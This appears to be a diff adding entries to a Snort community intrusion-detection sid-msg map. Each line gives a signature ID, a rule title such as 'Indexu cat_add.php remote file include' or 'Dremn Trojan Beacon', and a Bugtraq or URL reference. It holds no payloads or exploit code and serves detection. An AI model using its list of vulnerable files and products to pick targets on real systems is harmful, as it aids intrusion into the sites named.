+100000384 || COMMUNITY WEB-MISC Ottoman index.php remote file include || bugtraq,18208
+100000385 || COMMUNITY WEB-MISC Ottoman error.php remote file include || bugtraq,18208
+100000386 || COMMUNITY WEB-MISC Ottoman main_class.php remote file include || bugtraq,18208
+100000387 || COMMUNITY WEB-MISC Ovidentia index.php remote file include || bugtraq,18232
+100000388 || COMMUNITY WEB-MISC Ovidentia topman.php remote file include || bugtraq,18232
+100000389 || COMMUNITY WEB-MISC Ovidentia approb.php remote file include || bugtraq,18232
+100000390 || COMMUNITY WEB-MISC Ovidentia vacadmb.php remote file include || bugtraq,18232
+100000391 || COMMUNITY WEB-MISC Ovidentia vacadma.php remote file include || bugtraq,18232
+100000392 || COMMUNITY WEB-MISC Ovidentia vacadm.php remote file include || bugtraq,18232
+100000393 || COMMUNITY WEB-MISC Ovidentia start.php remote file include || bugtraq,18232
+100000394 || COMMUNITY WEB-MISC Ovidentia search.php remote file include || bugtraq,18232
+100000395 || COMMUNITY WEB-MISC Ovidentia posts.php remote file include || bugtraq,18232
+100000396 || COMMUNITY WEB-MISC Ovidentia options.php remote file include || bugtraq,18232
+100000397 || COMMUNITY WEB-MISC Ovidentia login.php remote file include || bugtraq,18232
+100000398 || COMMUNITY WEB-MISC Ovidentia frchart.php remote file include || bugtraq,18232
+100000399 || COMMUNITY WEB-MISC Ovidentia flbchart.php remote file include || bugtraq,18232
+100000400 || COMMUNITY WEB-MISC Ovidentia fileman.php remote file include || bugtraq,18232
+100000401 || COMMUNITY WEB-MISC Ovidentia faq.php remote file include || bugtraq,18232
+100000402 || COMMUNITY WEB-MISC Ovidentia event.php remote file include || bugtraq,18232
+100000403 || COMMUNITY WEB-MISC Ovidentia directory.php remote file include || bugtraq,18232
+100000404 || COMMUNITY WEB-MISC Ovidentia articles.php remote file include || bugtraq,18232
+100000405 || COMMUNITY WEB-MISC Ovidentia artedit.php remote file include || bugtraq,18232
+100000406 || COMMUNITY WEB-MISC Ovidentia approb.php remote file include || bugtraq,18232
+100000407 || COMMUNITY WEB-MISC Ovidentia calday.php remote file include || bugtraq,18232
+100000408 || COMMUNITY WEB-MISC AssoCIateD cache_mngt.php remote file include || bugtraq,18220
+100000409 || COMMUNITY WEB-MISC AssoCIateD gallery_functions.php remote file include || bugtraq,18220
+100000410 || COMMUNITY WEB-MISC REDAXO index.inc.php remote file include || bugtraq,18229
+100000411 || COMMUNITY WEB-MISC REDAXO index.inc.php remote file include || bugtraq,18229
+100000412 || COMMUNITY WEB-MISC REDAXO index.inc.php remote file include || bugtraq,18229
+100000413 || COMMUNITY WEB-MISC REDAXO index.inc.php remote file include || bugtraq,18229
+100000414 || COMMUNITY WEB-MISC REDAXO community.inc.php remote file include || bugtraq,18229
+100000415 || COMMUNITY WEB-MISC Bytehoard server.php remote file include || bugtraq,18234
+100000416 || COMMUNITY WEB-MISC MyBloggie admin.php remote file include || bugtraq,18241
+100000417 || COMMUNITY WEB-MISC MyBloggie scode.php remote file include || bugtraq,18241
+100000418 || COMMUNITY WEB-MISC Ashwebstudio Ashnews ashheadlines.php remote file include || bugtraq,18248
+100000419 || COMMUNITY WEB-MISC Ashwebstudio Ashnews ashnews.php remote file include || bugtraq,18248
+100000420 || COMMUNITY WEB-MISC Informium common-menu.php remote file include || bugtraq,18249
+100000421 || COMMUNITY WEB-MISC Igloo wiki.php remote file include || bugtraq,18250
+100000422 || COMMUNITY WEB-MISC phpBB template.php remote file include || bugtraq,18255
+100000423 || COMMUNITY WEB-MISC DotWidget CMS index.php remote file include || bugtraq,18258
+100000424 || COMMUNITY WEB-MISC DotWidget CMS feedback.php remote file include || bugtraq,18258
+100000425 || COMMUNITY WEB-MISC DotWidget CMS printfriendly.php remote file include || bugtraq,18258
+100000426 || COMMUNITY WEB-MISC DotClear prepend.php remote file include || bugtraq,18259
+100000427 || COMMUNITY WEB-MISC JBoss jmx-console html adaptor access || url,jboss.org/wiki/Wiki.jsp?page=JMXConsole
+100000428 || COMMUNITY WEB-MISC JBoss RMI class download service directory listing attempt || url,marc.theaimsgroup.com/?l=bugtraq&m=111911095424496&w=2
+100000429 || COMMUNITY WEB-MISC JBoss web-console access || url,www.jboss.org/wiki/Wiki.jsp?page=WebConsole
+100000430 || COMMUNITY WEB-MISC BlueShoes Bs_Faq.class.php remote file include || bugtraq,18261
+100000431 || COMMUNITY WEB-MISC BlueShoes fileBrowserInner.php remote file include || bugtraq,18261
+100000432 || COMMUNITY WEB-MISC BlueShoes file.php remote file include || bugtraq,18261
+100000433 || COMMUNITY WEB-MISC BlueShoes viewer.php remote file include || bugtraq,18261
+100000434 || COMMUNITY WEB-MISC BlueShoes Bs_ImageArchive.class.php remote file include || bugtraq,18261
+100000435 || COMMUNITY WEB-MISC BlueShoes Bs_Ml_User.class.php remote file include || bugtraq,18261
+100000436 || COMMUNITY WEB-MISC BlueShoes Bs_Wse_Profile.class.php remote file include || bugtraq,18261
+100000437 || COMMUNITY WEB-MISC CS-Cart class.cs_phpmailer.php remote file include || bugtraq,18263
+100000438 || COMMUNITY WEB-MISC Claroline mambo.inc.php remote file include || bugtraq,18265
+100000439 || COMMUNITY WEB-MISC Claroline postnuke.inc.php remote file include || bugtraq,18265
+100000440 || COMMUNITY WEB-MISC CyBoards common.php remote file include || bugtraq,18272
+100000441 || COMMUNITY WEB-MISC Wikiwig wk_lang.php remote file include || bugtraq,18291
+100000442 || COMMUNITY WEB-MISC MiraksGalerie pcltar.lib.php remote file include || bugtraq,18313
+100000443 || COMMUNITY WEB-MISC MiraksGalerie galimage.lib.php remote file include || bugtraq,18313
+100000444 || COMMUNITY WEB-MISC MiraksGalerie galsecurity.lib.php remote file include || bugtraq,18313
+100000445 || COMMUNITY WEB-PHP Particle Gallery Viewimage PHP Variable Injection Attempt || bugtraq,18270
+100000446 || COMMUNITY WEB-PHP Particle Wiki PHP SQL Injection attempt || bugtraq,18273
+100000447 || COMMUNITY WEB-CLIENT Mozilla Firefox DOMNodeRemoved attack attempt || bugtraq,18228 || cve,2006-2779
+100000448 || COMMUNITY WEB-MISC OfficeFlow default.asp xss attempt || bugtraq,18367
+100000449 || COMMUNITY WEB-MISC OfficeFlow files.asp MSSQL injection attempt || bugtraq,18367
+100000450 || COMMUNITY WEB-MISC VanillaSoft Helpdesk default.asp xss attempt || bugtraq,18368
+100000451 || COMMUNITY WEB-MISC KAPhotoservice album.asp xss attempt || bugtraq,18379
+100000452 || COMMUNITY WEB-MISC KAPhotoservice album.asp xss attempt || bugtraq,18379
+100000453 || COMMUNITY WEB-MISC KAPhotoservice edtalbum.asp xss attempt || bugtraq,18379
+100000454 || COMMUNITY WEB-MISC KAPhotoservice edtalbum.asp xss attempt || bugtraq,18379
+100000455 || COMMUNITY WEB-MISC Axent Forum viewposts.cfm xss attempt || bugtraq,18473
+100000456 || COMMUNITY WEB-MISC SSPwiz index.cfm xss attempt || bugtraq,18482
+100000457 || COMMUNITY WEB-MISC ASP Stats pages.asp MSSQL injection attempt || bugtraq,18512
+100000458 || COMMUNITY WEB-MISC DPVision Tradingeye Shop details.cfm xss attempt || bugtraq,18526
+100000459 || COMMUNITY WEB-MISC WeBBoA yeni_host.asp MSSQL injection attempt || bugtraq,18564
+100000460 || COMMUNITY WEB-MISC AZureus index.tmpl xss attempt || bugtraq,18596
+100000461 || COMMUNITY WEB-MISC Open WebMail openwebmail-read.pl xss attempt || bugtraq,18598
+100000462 || COMMUNITY WEB-MISC Open WebMail openwebmail-read.pl xss attempt || bugtraq,18598
+100000463 || COMMUNITY WEB-PHP Joomla joomla.php remote file include || bugtraq,18363
+100000464 || COMMUNITY WEB-PHP LoveCompass AEPartner design.inc.php remote file include || bugtraq,18370
+100000465 || COMMUNITY WEB-PHP Empris sql_fcnsOLD.php remote file include || bugtraq,18371
+100000466 || COMMUNITY WEB-PHP Free QBoard post.php remote file include || bugtraq,18373
+100000467 || COMMUNITY WEB-PHP WebprojectDB nav.php remote file include || bugtraq,18378
+100000468 || COMMUNITY WEB-PHP WebprojectDB lang.php remote file include || bugtraq,18378
+100000469 || COMMUNITY WEB-PHP iFoto index.php xss attempt || bugtraq,18391
+100000470 || COMMUNITY WEB-PHP Foing manage_songs.php remote file include || bugtraq,18392
+100000471 || COMMUNITY WEB-PHP VBZoom show.php SQL injection attempt || bugtraq,18403
+100000472 || COMMUNITY WEB-PHP VBZoom show.php SQL injection attempt || bugtraq,18403
+100000473 || COMMUNITY WEB-PHP VBZoom language.php SQL injection attempt || bugtraq,18403
+100000474 || COMMUNITY WEB-PHP VBZoom meaning.php SQL injection attempt || bugtraq,18403
+100000475 || COMMUNITY WEB-PHP VBZoom meaning.php SQL injection attempt || bugtraq,18403
+100000476 || COMMUNITY WEB-PHP VBZoom meaning.php SQL injection attempt || bugtraq,18403
+100000477 || COMMUNITY WEB-PHP VBZoom subject.php SQL injection attempt || bugtraq,18403
+100000478 || COMMUNITY WEB-PHP aWebNews visview.php remote file include || bugtraq,18406
+100000479 || COMMUNITY WEB-PHP CzarNews headlines.php remote file include || bugtraq,18411
+100000480 || COMMUNITY WEB-PHP Somery team.php remote file include || bugtraq,18412
+100000481 || COMMUNITY WEB-PHP Hinton Design PHPHG signed.php remote file include || bugtraq,18413
+100000482 || COMMUNITY WEB-PHP BoastMachine vote.php remote file include || bugtraq,18415
+100000483 || COMMUNITY WEB-PHP Wheatblog view_links.php remote file include || bugtraq,18416
+100000484 || COMMUNITY WEB-PHP Confixx ftp_index.php xss attempt || bugtraq,18426
+100000485 || COMMUNITY WEB-PHP RahnemaCo page.php remote file include || bugtraq,18435
+100000486 || COMMUNITY WEB-PHP PhpBlueDragon CMS template.php remote file include || bugtraq,18440
+100000487 || COMMUNITY WEB-PHP ISPConfig server.inc.php remote file include || bugtraq,18441
+100000488 || COMMUNITY WEB-PHP ISPConfig app.inc.php remote file include || bugtraq,18441
+100000489 || COMMUNITY WEB-PHP ISPConfig login.php remote file include || bugtraq,18441
+100000490 || COMMUNITY WEB-PHP ISPConfig trylogin.php remote file include || bugtraq,18441
+100000491 || COMMUNITY WEB-PHP DeluxeBB posting.php remote file include || bugtraq,18455
+100000492 || COMMUNITY WEB-PHP DeluxeBB newpm.php remote file include || bugtraq,18455
+100000493 || COMMUNITY WEB-PHP DeluxeBB postreply.php remote file include || bugtraq,18455
+100000494 || COMMUNITY WEB-PHP Zeroboard write_ok.php xss attempt || bugtraq,18458
+100000495 || COMMUNITY WEB-PHP Zeroboard write_ok.php xss attempt || bugtraq,18458
+100000496 || COMMUNITY WEB-PHP Chipmailer index.php SQL injection attempt || bugtraq,18463
+100000497 || COMMUNITY WEB-PHP Calendarix cal_event.php SQL injection attempt || bugtraq,18469
+100000498 || COMMUNITY WEB-PHP Calendarix cal_popup.php SQL injection attempt || bugtraq,18469
+100000499 || COMMUNITY WEB-PHP PictureDis thumstbl.php remote file include || bugtraq,18471
+100000500 || COMMUNITY WEB-PHP PictureDis wpfiles.php remote file include || bugtraq,18471
+100000501 || COMMUNITY WEB-PHP PictureDis wallpapr.php remote file include || bugtraq,18471
+100000502 || COMMUNITY WEB-PHP Ji-Takz tag.class.php remote file include || bugtraq,18474
+100000503 || COMMUNITY WEB-PHP Nucleus CMS action.php remote file include || bugtraq,18475
+100000504 || COMMUNITY WEB-PHP Nucleus CMS media.php remote file include || bugtraq,18475
+100000505 || COMMUNITY WEB-PHP Nucleus CMS server.php remote file include || bugtraq,18475
+100000506 || COMMUNITY WEB-PHP Nucleus CMS api_metaweblog.inc.php remote file include || bugtraq,18475
+100000507 || COMMUNITY WEB-PHP FlashChat adminips.php remote file include || bugtraq,18480
+100000508 || COMMUNITY WEB-PHP Wikkawiki wakka.php access || bugtraq,18481
+100000509 || COMMUNITY WEB-PHP RahnemaCo page.php remote file include || bugtraq,18490
+100000510 || COMMUNITY WEB-PHP VBZoom rank.php SQL injection attempt || bugtraq,18497
+100000511 || COMMUNITY WEB-PHP VBZoom message.php SQL injection attempt || bugtraq,18497
+100000512 || COMMUNITY WEB-PHP VBZoom lng.php SQL injection attempt || bugtraq,18497
+100000513 || COMMUNITY WEB-PHP SAPHPLesson showcat.php SQL injection attempt || bugtraq,18501
+100000514 || COMMUNITY WEB-PHP SAPHPLesson misc.php SQL injection attempt || bugtraq,18501
+100000515 || COMMUNITY WEB-PHP CMS Faethon header.php xss attempt || bugtraq,18505
+100000516 || COMMUNITY WEB-PHP CMS Faethon footer.php xss attempt || bugtraq,18505
+100000517 || COMMUNITY WEB-PHP e107 search.php xss attempt || bugtraq,18508
+100000518 || COMMUNITY WEB-PHP PHP Live Helper initiate.php remote file include || bugtraq,18509
+100000519 || COMMUNITY WEB-PHP VUBB index.php SQL injection attempt || bugtraq,18516
+100000520 || COMMUNITY WEB-PHP Xarancms xaramcms_haupt.php SQL injection attempt || bugtraq,18520
+100000521 || COMMUNITY WEB-PHP TPL Design TplShop category.php SQL injection attempt || bugtraq,18524
+100000522 || COMMUNITY WEB-PHP The Edge eCommerce Shop productDetail.php xss attempt || bugtraq,18528
+100000523 || COMMUNITY WEB-PHP CavoxCms index.php SQL injection attempt || bugtraq,18533
+100000524 || COMMUNITY WEB-PHP Micro CMS microcms-include.php remote file include || bugtraq,18537
+100000525 || COMMUNITY WEB-PHP PHPMyDirectory offer-pix.php xss attempt || bugtraq,18539
+100000526 || COMMUNITY WEB-PHP PHPMyDirectory index.php xss attempt || bugtraq,18539
+100000527 || COMMUNITY WEB-PHP AssoCIateD index.php xss attempt || bugtraq,18541
+100000528 || COMMUNITY WEB-PHP PHPMyForum topic.php xss attempt || bugtraq,18542
+100000529 || COMMUNITY WEB-PHP NC Linklist index.php xss attempt || bugtraq,18546
+100000530 || COMMUNITY WEB-PHP NC Linklist index.php xss attempt || bugtraq,18546
+100000531 || COMMUNITY WEB-PHP BtitTracker torrents.php SQL injection attempt || bugtraq,18549
+100000532 || COMMUNITY WEB-PHP BtitTracker torrents.php SQL injection attempt || bugtraq,18549
+100000533 || COMMUNITY WEB-PHP VUBB functions.php SQL injection attempt || bugtraq,18561
+100000534 || COMMUNITY WEB-PHP VUBB english.php xss attempt || bugtraq,18562
+100000535 || COMMUNITY WEB-PHP IMGallery galeria.php SQL injection attempt || bugtraq,18566
+100000536 || COMMUNITY WEB-PHP IMGallery galeria.php SQL injection attempt || bugtraq,18566
+100000537 || COMMUNITY WEB-PHP thinkWMS index.php SQL injection attempt || bugtraq,18567
+100000538 || COMMUNITY WEB-PHP thinkWMS index.php SQL injection attempt || bugtraq,18567
+100000539 || COMMUNITY WEB-PHP thinkWMS printarticle.php SQL injection attempt || bugtraq,18567
+100000540 || COMMUNITY WEB-PHP Enterprise Groupware index.php xss attempt || bugtraq,18590
+100000541 || COMMUNITY WEB-PHP Dating Agent picture.php SQL injection attempt || bugtraq,18607
+100000542 || COMMUNITY WEB-PHP Dating Agent mem.php SQL injection attempt || bugtraq,18607
+100000543 || COMMUNITY WEB-PHP Dating Agent search.php SQL injection attempt || bugtraq,18607
+100000544 || COMMUNITY WEB-PHP Dating Agent search.php SQL injection attempt || bugtraq,18607
+100000545 || COMMUNITY WEB-PHP PHP Blue Dragon CMS team_admin.php remote file include || bugtraq,18609
+100000546 || COMMUNITY WEB-PHP PHP Blue Dragon CMS rss_admin.php remote file include || bugtraq,18609
+100000547 || COMMUNITY WEB-PHP PHP Blue Dragon CMS manual_admin.php remote file include || bugtraq,18609
+100000548 || COMMUNITY WEB-PHP PHP Blue Dragon CMS forum_admin.php remote file include || bugtraq,18609
+100000549 || COMMUNITY WEB-PHP Custom Datin Biz user_view.php xss attempt || bugtraq,18626
+100000550 || COMMUNITY WEB-PHP Project Eros BBSEngine comment.php access || bugtraq,18627
+100000551 || COMMUNITY WEB-PHP Project Eros BBSEngine aolbonics.php access || bugtraq,18627
+100000552 || COMMUNITY WEB-PHP SmartSiteCMS inc_foot.php remote file include || bugtraq,18628
+100000553 || COMMUNITY WEB-PHP PHPMySMS gateway.php remote file include || bugtraq,18633
+100000554 || COMMUNITY WEB-PHP VebiMiau error.php xss attempt || bugtraq,18643
+100000555 || COMMUNITY WEB-PHP VebiMiau error.php xss attempt || bugtraq,18643
+100000556 || COMMUNITY WEB-PHP VebiMiau error.php xss attempt || bugtraq,18643
+100000557 || COMMUNITY WEB-PHP VebiMiau index.php xss attempt || bugtraq,18643
+100000558 || COMMUNITY WEB-PHP VebiMiau messages.php xss attempt || bugtraq,18643
+100000559 || COMMUNITY WEB-PHP Infinite Core Technologies ICT index.php SQL injection attempt || bugtraq,18644
+100000560 || COMMUNITY WEB-PHP eNpaper1 root_header.php remote file include || bugtraq,18649
+100000561 || COMMUNITY WEB-PHP dotProject ui.class.php xss attempt || bugtraq,18650
+100000562 || COMMUNITY WEB-PHP GL-SH Deaf Forum show.php xss attempt || bugtraq,18651
+100000563 || COMMUNITY WEB-PHP GL-SH Deaf Forum show.php xss attempt || bugtraq,18651
+100000564 || COMMUNITY WEB-PHP GL-SH Deaf Forum show.php xss attempt || bugtraq,18651
+100000565 || COMMUNITY WEB-PHP GL-SH Deaf Forum show.php xss attempt || bugtraq,18651
+100000566 || COMMUNITY WEB-PHP XennoBB messages.php xss attempt || bugtraq,18652
+100000567 || COMMUNITY WEB-PHP Qdig index.php xss attempt || bugtraq,18653
+100000568 || COMMUNITY WEB-PHP Qdig index.php xss attempt || bugtraq,18653
+100000569 || COMMUNITY WEB-PHP Indexu app_change_email.php remote file include || bugtraq,18477
+100000570 || COMMUNITY WEB-PHP Indexu app_change_pwd.php remote file include || bugtraq,18477
+100000571 || COMMUNITY WEB-PHP Indexu app_mod_rewrite.php remote file include || bugtraq,18477
+100000572 || COMMUNITY WEB-PHP Indexu app_page_caching.php remote file include || bugtraq,18477
+100000573 || COMMUNITY WEB-PHP Indexu app_setup.php remote file include || bugtraq,18477
+100000574 || COMMUNITY WEB-PHP Indexu cat_add.php remote file include || bugtraq,18477
+100000575 || COMMUNITY WEB-PHP Indexu cat_delete.php remote file include || bugtraq,18477
+100000576 || COMMUNITY WEB-PHP Indexu cat_edit.php remote file include || bugtraq,18477
+100000577 || COMMUNITY WEB-PHP Indexu cat_path_update.php remote file include || bugtraq,18477
+100000578 || COMMUNITY WEB-PHP Indexu cat_search.php remote file include || bugtraq,18477
+100000579 || COMMUNITY WEB-PHP Indexu cat_struc.php remote file include || bugtraq,18477
+100000580 || COMMUNITY WEB-PHP Indexu cat_view.php remote file include || bugtraq,18477
+100000581 || COMMUNITY WEB-PHP Indexu cat_view_hidden.php remote file include || bugtraq,18477
+100000582 || COMMUNITY WEB-PHP Indexu cat_view_hierarchy.php remote file include || bugtraq,18477
+100000583 || COMMUNITY WEB-PHP Indexu cat_view_registered_only.php remote file include || bugtraq,18477
+100000584 || COMMUNITY WEB-PHP Indexu checkurl_web.php remote file include || bugtraq,18477
+100000585 || COMMUNITY WEB-PHP Indexu db_alter.php remote file include || bugtraq,18477
+100000586 || COMMUNITY WEB-PHP Indexu db_alter_change.php remote file include || bugtraq,18477
+100000587 || COMMUNITY WEB-PHP Indexu db_backup.php remote file include || bugtraq,18477
+100000588 || COMMUNITY WEB-PHP Indexu db_export.php remote file include || bugtraq,18477
+100000589 || COMMUNITY WEB-PHP Indexu db_import.php remote file include || bugtraq,18477
+100000590 || COMMUNITY WEB-PHP Indexu editor_add.php remote file include || bugtraq,18477
+100000591 || COMMUNITY WEB-PHP Indexu editor_delete.php remote file include || bugtraq,18477
+100000592 || COMMUNITY WEB-PHP Indexu editor_validate.php remote file include || bugtraq,18477
+100000593 || COMMUNITY WEB-PHP Indexu head.php remote file include || bugtraq,18477
+100000594 || COMMUNITY WEB-PHP Indexu index.php remote file include || bugtraq,18477
+100000595 || COMMUNITY WEB-PHP Indexu inv_config.php remote file include || bugtraq,18477
+100000596 || COMMUNITY WEB-PHP Indexu inv_config_payment.php remote file include || bugtraq,18477
+100000597 || COMMUNITY WEB-PHP Indexu inv_create.php remote file include || bugtraq,18477
+100000598 || COMMUNITY WEB-PHP Indexu inv_delete.php remote file include || bugtraq,18477
+100000599 || COMMUNITY WEB-PHP Indexu inv_edit.php remote file include || bugtraq,18477
+100000600 || COMMUNITY WEB-PHP Indexu inv_markpaid.php remote file include || bugtraq,18477
+100000601 || COMMUNITY WEB-PHP Indexu inv_markunpaid.php remote file include || bugtraq,18477
+100000602 || COMMUNITY WEB-PHP Indexu inv_overdue.php remote file include || bugtraq,18477
+100000603 || COMMUNITY WEB-PHP Indexu inv_paid.php remote file include || bugtraq,18477
+100000604 || COMMUNITY WEB-PHP Indexu inv_send.php remote file include || bugtraq,18477
+100000605 || COMMUNITY WEB-PHP Indexu inv_unpaid.php remote file include || bugtraq,18477
+100000606 || COMMUNITY WEB-PHP Indexu lang_modify.php remote file include || bugtraq,18477
+100000607 || COMMUNITY WEB-PHP Indexu link_add.php remote file include || bugtraq,18477
+100000608 || COMMUNITY WEB-PHP Indexu link_bad.php remote file include || bugtraq,18477
+100000609 || COMMUNITY WEB-PHP Indexu link_bad_delete.php remote file include || bugtraq,18477
+100000610 || COMMUNITY WEB-PHP Indexu link_checkurl.php remote file include || bugtraq,18477
+100000611 || COMMUNITY WEB-PHP Indexu link_delete.php remote file include || bugtraq,18477
+100000612 || COMMUNITY WEB-PHP Indexu link_duplicate.php remote file include || bugtraq,18477
+100000613 || COMMUNITY WEB-PHP Indexu link_edit.php remote file include || bugtraq,18477
+100000614 || COMMUNITY WEB-PHP Indexu link_premium_listing.php remote file include || bugtraq,18477
+100000615 || COMMUNITY WEB-PHP Indexu link_premium_sponsored.php remote file include || bugtraq,18477
+100000616 || COMMUNITY WEB-PHP Indexu link_search.php remote file include || bugtraq,18477
+100000617 || COMMUNITY WEB-PHP Indexu link_sponsored_listing.php remote file include || bugtraq,18477
+100000618 || COMMUNITY WEB-PHP Indexu link_validate.php remote file include || bugtraq,18477
+100000619 || COMMUNITY WEB-PHP Indexu link_validate_edit.php remote file include || bugtraq,18477
+100000620 || COMMUNITY WEB-PHP Indexu link_view.php remote file include || bugtraq,18477
+100000621 || COMMUNITY WEB-PHP Indexu log_search.php remote file include || bugtraq,18477
+100000622 || COMMUNITY WEB-PHP Indexu mail_modify.php remote file include || bugtraq,18477
+100000623 || COMMUNITY WEB-PHP Indexu menu.php remote file include || bugtraq,18477
+100000624 || COMMUNITY WEB-PHP Indexu message_create.php remote file include || bugtraq,18477
+100000625 || COMMUNITY WEB-PHP Indexu message_delete.php remote file include || bugtraq,18477
+100000626 || COMMUNITY WEB-PHP Indexu message_edit.php remote file include || bugtraq,18477
+100000627 || COMMUNITY WEB-PHP Indexu message_send.php remote file include || bugtraq,18477
+100000628 || COMMUNITY WEB-PHP Indexu message_subscriber.php remote file include || bugtraq,18477
+100000629 || COMMUNITY WEB-PHP Indexu message_view.php remote file include || bugtraq,18477
+100000630 || COMMUNITY WEB-PHP Indexu review_validate.php remote file include || bugtraq,18477
+100000631 || COMMUNITY WEB-PHP Indexu review_validate_edit.php remote file include || bugtraq,18477
+100000632 || COMMUNITY WEB-PHP Indexu summary.php remote file include || bugtraq,18477
+100000633 || COMMUNITY WEB-PHP Indexu template_active.php remote file include || bugtraq,18477
+100000634 || COMMUNITY WEB-PHP Indexu template_add_custom.php remote file include || bugtraq,18477
+100000635 || COMMUNITY WEB-PHP Indexu template_delete.php remote file include || bugtraq,18477
+100000636 || COMMUNITY WEB-PHP Indexu template_delete_file.php remote file include || bugtraq,18477
+100000637 || COMMUNITY WEB-PHP Indexu template_duplicate.php remote file include || bugtraq,18477
+100000638 || COMMUNITY WEB-PHP Indexu template_export.php remote file include || bugtraq,18477
+100000639 || COMMUNITY WEB-PHP Indexu template_import.php remote file include || bugtraq,18477
+100000640 || COMMUNITY WEB-PHP Indexu template_manager.php remote file include || bugtraq,18477
+100000641 || COMMUNITY WEB-PHP Indexu template_modify.php remote file include || bugtraq,18477
+100000642 || COMMUNITY WEB-PHP Indexu template_modify_file.php remote file include || bugtraq,18477
+100000643 || COMMUNITY WEB-PHP Indexu template_rename.php remote file include || bugtraq,18477
+100000644 || COMMUNITY WEB-PHP Indexu user_add.php remote file include || bugtraq,18477
+100000645 || COMMUNITY WEB-PHP Indexu user_delete.php remote file include || bugtraq,18477
+100000646 || COMMUNITY WEB-PHP Indexu user_edit.php remote file include || bugtraq,18477
+100000647 || COMMUNITY WEB-PHP Indexu user_search.php remote file include || bugtraq,18477
+100000648 || COMMUNITY WEB-PHP Indexu whos.php remote file include || bugtraq,18477
+100000649 || COMMUNITY WEB-PHP MyPHP Guestbook index.php xss attempt || bugtraq,18582
+100000650 || COMMUNITY WEB-PHP MyPHP Guestbook index.php xss attempt || bugtraq,18582
+100000651 || COMMUNITY WEB-PHP MyPHP Guestbook index.php xss attempt || bugtraq,18582
+100000652 || COMMUNITY WEB-PHP MyPHP Guestbook index.php xss attempt || bugtraq,18582
+100000653 || COMMUNITY WEB-PHP MyPHP Guestbook index.php xss attempt || bugtraq,18582
+100000654 || COMMUNITY WEB-PHP MyPHP Guestbook index.php xss attempt || bugtraq,18582
+100000655 || COMMUNITY WEB-PHP MyPHP Guestbook guestbook.php xss attempt || bugtraq,18582
+100000656 || COMMUNITY WEB-PHP MyPHP Guestbook guestbook.php xss attempt || bugtraq,18582
+100000657 || COMMUNITY WEB-PHP MyPHP Guestbook guestbook.php xss attempt || bugtraq,18582
+100000658 || COMMUNITY WEB-PHP MyPHP Guestbook guestbook.php xss attempt || bugtraq,18582
+100000659 || COMMUNITY WEB-PHP MyPHP Guestbook guestbook.php xss attempt || bugtraq,18582
+100000660 || COMMUNITY WEB-PHP MyPHP Guestbook guestbook.php xss attempt || bugtraq,18582
+100000661 || COMMUNITY WEB-PHP MyPHP Guestbook edit.php xss attempt || bugtraq,18582
+100000662 || COMMUNITY WEB-PHP MyPHP Guestbook edit.php xss attempt || bugtraq,18582
+100000663 || COMMUNITY WEB-PHP MyPHP Guestbook edit.php xss attempt || bugtraq,18582
+100000664 || COMMUNITY WEB-PHP MyPHP Guestbook edit.php xss attempt || bugtraq,18582
+100000665 || COMMUNITY WEB-PHP MyPHP Guestbook edit.php xss attempt || bugtraq,18582
+100000666 || COMMUNITY WEB-PHP Harpia files.php remote file include || bugtraq,18614
+100000667 || COMMUNITY WEB-PHP Harpia files.php remote file include || bugtraq,18614
+100000668 || COMMUNITY WEB-PHP Harpia pheader.php remote file include || bugtraq,18614
+100000669 || COMMUNITY WEB-PHP Harpia headlines.php remote file include || bugtraq,18614
+100000670 || COMMUNITY WEB-PHP Harpia web_statsConfig.php remote file include || bugtraq,18614
+100000671 || COMMUNITY WEB-PHP Harpia preload.php remote file include || bugtraq,18614
+100000672 || COMMUNITY WEB-PHP Harpia users.php remote file include || bugtraq,18614
+100000673 || COMMUNITY WEB-PHP Harpia web_statsConfig.php remote file include || bugtraq,18614
+100000674 || COMMUNITY WEB-PHP Harpia footer.php remote file include || bugtraq,18614
+100000675 || COMMUNITY WEB-PHP Harpia pfooter.php remote file include || bugtraq,18614
+100000676 || COMMUNITY WEB-PHP Harpia missing.php remote file include || bugtraq,18614
+100000677 || COMMUNITY WEB-PHP Harpia topics.php remote file include || bugtraq,18614
+100000678 || COMMUNITY WEB-PHP Harpia header.php remote file include || bugtraq,18614
+100000679 || COMMUNITY WEB-PHP Harpia index.php remote file include || bugtraq,18614
+100000680 || COMMUNITY WEB-PHP Harpia search.php remote file include || bugtraq,18614
+100000681 || COMMUNITY WEB-PHP Harpia header.php remote file include || bugtraq,18614
+100000682 || COMMUNITY WEB-PHP Harpia email.php remote file include || bugtraq,18614
+100000683 || COMMUNITY WEB-PHP cPanel select.html xss attempt || bugtraq,18655
+100000684 || COMMUNITY VIRUS OutBound Dremn Trojan Beacon || url,symantec.com/avcenter/venc/data/trojan.dremn.html
+100000685 || COMMUNITY VIRUS Answering Dremn Trojan Server || url,symantec.com/avcenter/venc/data/trojan.dremn.html
+100000686 || COMMUNITY DOS EnergyMech parse_notice vulnerability - inbound || bugtraq,18664
+100000687 || COMMUNITY DOS EnergyMech parse_notice vulnerability - outbound || bugtraq,18664
+100000688 || COMMUNITY POLICY Ajax Remote Desktop Connection || url,www.peterdamen.com/ajaxrd/
+100000689 || COMMUNITY SMTP Mytob MAIL FROM Attempt || url,www.symantec.com/avcenter/venc/data/w32.mytob@mm.html
+100000690 || COMMUNITY SQL-INJECTION BXCP Sql Injection attempt || bugtraq,18765 || url,www.milw0rm.com/exploits/1975
+100000691 || COMMUNITY SQL-INJECTION Diesel Joke Script Sql Injection attempt || bugtraq,18760
+100000692 || COMMUNITY WEB-CLIENT midi file download attempt || bugtraq,18507
+100000693 || COMMUNITY WEB-CLIENT winamp midi file header overflow attempt || bugtraq,18507
+100000694 || COMMUNITY WEB-MISC VCard PRO gbrowse.php SQL injection attempt || bugtraq,18699
+100000695 || COMMUNITY WEB-MISC VCard PRO rating.php SQL injection attempt || bugtraq,18699
+100000696 || COMMUNITY WEB-MISC VCard PRO create.php SQL injection attempt || bugtraq,18699
+100000697 || COMMUNITY WEB-MISC VCard PRO search.php SQL injection attempt || bugtraq,18699
+100000698 || COMMUNITY WEB-MISC BXCP index.php SQL injection attempt || bugtraq,18765
+100000699 || COMMUNITY WEB-MISC Vincent Leclercq News diver.php xss attempt || bugtraq,18775
+100000700 || COMMUNITY WEB-MISC Vincent Leclercq News diver.php xss attempt || bugtraq,18775
+100000701 || COMMUNITY WEB-MISC WordPress index.php SQL injection attempt || bugtraq,18779
+100000702 || COMMUNITY WEB-MISC Webvizyon SayfalaAltList.asp MSSQL injection attempt || bugtraq,18899
+100000703 || COMMUNITY WEB-PHP Horde index.php show XSS attempt || bugtraq,18845
+100000704 || COMMUNITY WEB-PHP SmartSiteCMS comment.php remote file include || bugtraq,18697
